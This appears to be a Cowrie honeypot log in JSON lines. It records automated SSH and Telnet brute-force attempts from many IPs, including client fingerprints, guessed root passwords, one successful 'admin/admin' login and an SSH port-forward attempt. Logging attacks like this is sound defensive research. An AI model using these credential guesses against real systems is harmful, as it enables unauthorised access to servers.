{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:c5:2c:20:67:b9:3f:18:54:be:58:34:f7:b3:df:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlUYeZuOMU11ogXmLH8+EXW2xVR9xrzm26c/xl9LQoF4DjmGkxqckaHYGmyhAADO8XMsQ2bPTapoR4gSEIQT9QQNJ36OQTkerc6alh4Eo0oro8xxpsI7v8kXMFgi9U3hQVjV3+ifmtZs547rLCEjGeC/FRVv9OaAvnCeySNya9Mh3WdJLv7x1q+cS5hrVxkTUZwXpzbJ5uNUa2n54Gr8nS96esKBzlf1BLFB6OXk9jGEFr0INatUhOzBIh7mEIXSD8Or1Z3QZ8WPfN0e7JwvPdP6YtxKdicX9sQuMmBv7GhP+m49a39QA2kacsTDi4MMhD/CrjMf0m5t2SdnoP5Qs8Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:c5:2c:20:67:b9:3f:18:54:be:58:34:f7:b3:df:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:15.877158Z","src_ip":"168.197.250.14","session":"f4ae2dd0cd20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:c5:2c:20:67:b9:3f:18:54:be:58:34:f7:b3:df:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlUYeZuOMU11ogXmLH8+EXW2xVR9xrzm26c/xl9LQoF4DjmGkxqckaHYGmyhAADO8XMsQ2bPTapoR4gSEIQT9QQNJ36OQTkerc6alh4Eo0oro8xxpsI7v8kXMFgi9U3hQVjV3+ifmtZs547rLCEjGeC/FRVv9OaAvnCeySNya9Mh3WdJLv7x1q+cS5hrVxkTUZwXpzbJ5uNUa2n54Gr8nS96esKBzlf1BLFB6OXk9jGEFr0INatUhOzBIh7mEIXSD8Or1Z3QZ8WPfN0e7JwvPdP6YtxKdicX9sQuMmBv7GhP+m49a39QA2kacsTDi4MMhD/CrjMf0m5t2SdnoP5Qs8Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:15.880764Z","src_ip":"168.197.250.14","session":"f4ae2dd0cd20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:13:c3:d3:27:ea:b6:e2:23:c7:d9:6a:9e:38:01:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEsuCbnUX6618Ejz+gcGRnPHNaBkSWXOtrFozt/UBHE1c4Lg3dJG3txrr1sBgnDHIDJCfBx/Axxyph/n6ZyCWKGvk1pr5Gh2ox+H6rLe5ygmXG2U3TVAmE7wVOoMCH4t1hOyjCJ8ZoqjwY6kl3qL2BMseUhImQaqgpA9XSr/5x093KfwTdSkxFmx+u5sJsE5kTizBgrQMb336ZMsx5wEPWcLZjfSSFvJyLIZR+gPDzgE8GR98yTI2QU9KaTKgoaBiOhOXmc+AP7A4eAEwK2klmg2oCyXgZhWt2s9ZwGBFYzBKQ3qdU9Bjd1eYApyRMaVIeV3d1XZ/sRjOfqiYOaV9F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:13:c3:d3:27:ea:b6:e2:23:c7:d9:6a:9e:38:01:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:16.040972Z","src_ip":"168.197.250.14","session":"f4ae2dd0cd20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:13:c3:d3:27:ea:b6:e2:23:c7:d9:6a:9e:38:01:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEsuCbnUX6618Ejz+gcGRnPHNaBkSWXOtrFozt/UBHE1c4Lg3dJG3txrr1sBgnDHIDJCfBx/Axxyph/n6ZyCWKGvk1pr5Gh2ox+H6rLe5ygmXG2U3TVAmE7wVOoMCH4t1hOyjCJ8ZoqjwY6kl3qL2BMseUhImQaqgpA9XSr/5x093KfwTdSkxFmx+u5sJsE5kTizBgrQMb336ZMsx5wEPWcLZjfSSFvJyLIZR+gPDzgE8GR98yTI2QU9KaTKgoaBiOhOXmc+AP7A4eAEwK2klmg2oCyXgZhWt2s9ZwGBFYzBKQ3qdU9Bjd1eYApyRMaVIeV3d1XZ/sRjOfqiYOaV9F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:16.044073Z","src_ip":"168.197.250.14","session":"f4ae2dd0cd20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:16.204285Z","src_ip":"168.197.250.14","session":"f4ae2dd0cd20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.167","src_port":41986,"dst_ip":"159.203.135.109","dst_port":23,"session":"21bb8ef902d4","protocol":"telnet","message":"New connection: 64.62.197.167:41986 (159.203.135.109:23) [session: 21bb8ef902d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:28.074131Z"}
{"eventid":"cowrie.session.closed","duration":2.0753159523010254,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:30.149327Z","src_ip":"64.62.197.167","session":"21bb8ef902d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":48780,"dst_ip":"159.203.135.109","dst_port":22,"session":"4035844c222c","protocol":"ssh","message":"New connection: 27.71.230.31:48780 (159.203.135.109:22) [session: 4035844c222c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:47.374187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:47.430579Z","src_ip":"27.71.230.31","session":"4035844c222c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:47.796093Z","src_ip":"27.71.230.31","session":"4035844c222c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin222222","message":"login attempt [root/Admin222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:53.899682Z","src_ip":"27.71.230.31","session":"4035844c222c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:44:56.251496Z","src_ip":"27.71.230.31","session":"4035844c222c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":54174,"dst_ip":"159.203.135.109","dst_port":22,"session":"15053dde5c3c","protocol":"ssh","message":"New connection: 37.233.85.71:54174 (159.203.135.109:22) [session: 15053dde5c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:45:24.431682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:45:24.435925Z","src_ip":"37.233.85.71","session":"15053dde5c3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:45:24.545916Z","src_ip":"37.233.85.71","session":"15053dde5c3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tematema","message":"login attempt [root/tematema] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:45:24.871634Z","src_ip":"37.233.85.71","session":"15053dde5c3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:45:25.981573Z","src_ip":"37.233.85.71","session":"15053dde5c3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":49368,"dst_ip":"10.17.0.5","dst_port":23,"session":"391c84f2e34f","protocol":"telnet","message":"New connection: 132.148.22.172:49368 (10.17.0.5:23) [session: 391c84f2e34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:45:34.718147Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":40188,"dst_ip":"10.17.0.5","dst_port":22,"session":"86460d5b4e0e","protocol":"ssh","message":"New connection: 103.77.175.15:40188 (10.17.0.5:22) [session: 86460d5b4e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:45:35.974222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:45:35.979481Z","src_ip":"103.77.175.15","session":"86460d5b4e0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:45:36.231282Z","src_ip":"103.77.175.15","session":"86460d5b4e0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120592","message":"login attempt [root/120592] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:45:36.987407Z","src_ip":"103.77.175.15","session":"86460d5b4e0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:45:38.241020Z","src_ip":"103.77.175.15","session":"86460d5b4e0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":17362,"dst_ip":"10.17.0.5","dst_port":22,"session":"193184602996","protocol":"ssh","message":"New connection: 38.93.206.2:17362 (10.17.0.5:22) [session: 193184602996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:04.688215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:04.692779Z","src_ip":"38.93.206.2","session":"193184602996","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:04.746314Z","src_ip":"38.93.206.2","session":"193184602996","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"inna123","message":"login attempt [root/inna123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:04.902725Z","src_ip":"38.93.206.2","session":"193184602996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.99666714668274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:05.714707Z","src_ip":"132.148.22.172","session":"391c84f2e34f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:05.955922Z","src_ip":"38.93.206.2","session":"193184602996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4876,"dst_ip":"10.17.0.5","dst_port":22,"session":"f89ab2015d19","protocol":"ssh","message":"New connection: 87.251.64.176:4876 (10.17.0.5:22) [session: f89ab2015d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:21.237423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:21.241462Z","src_ip":"87.251.64.176","session":"f89ab2015d19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:21.336778Z","src_ip":"87.251.64.176","session":"f89ab2015d19","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:21.709768Z","src_ip":"87.251.64.176","session":"f89ab2015d19","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:21.805804Z","session":"f89ab2015d19","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:21.904507Z","src_ip":"87.251.64.176","session":"f89ab2015d19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:22.001378Z","src_ip":"87.251.64.176","session":"f89ab2015d19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":46708,"dst_ip":"159.203.135.109","dst_port":22,"session":"d94c18a915bd","protocol":"ssh","message":"New connection: 103.172.78.219:46708 (159.203.135.109:22) [session: d94c18a915bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:52.342347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:52.346929Z","src_ip":"103.172.78.219","session":"d94c18a915bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:52.612280Z","src_ip":"103.172.78.219","session":"d94c18a915bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfrcbv2003","message":"login attempt [root/vfrcbv2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:53.410089Z","src_ip":"103.172.78.219","session":"d94c18a915bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:46:54.677567Z","src_ip":"103.172.78.219","session":"d94c18a915bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":54276,"dst_ip":"10.17.0.5","dst_port":23,"session":"d113b5b97e4b","protocol":"telnet","message":"New connection: 132.148.22.172:54276 (10.17.0.5:23) [session: d113b5b97e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:47:20.670511Z"}
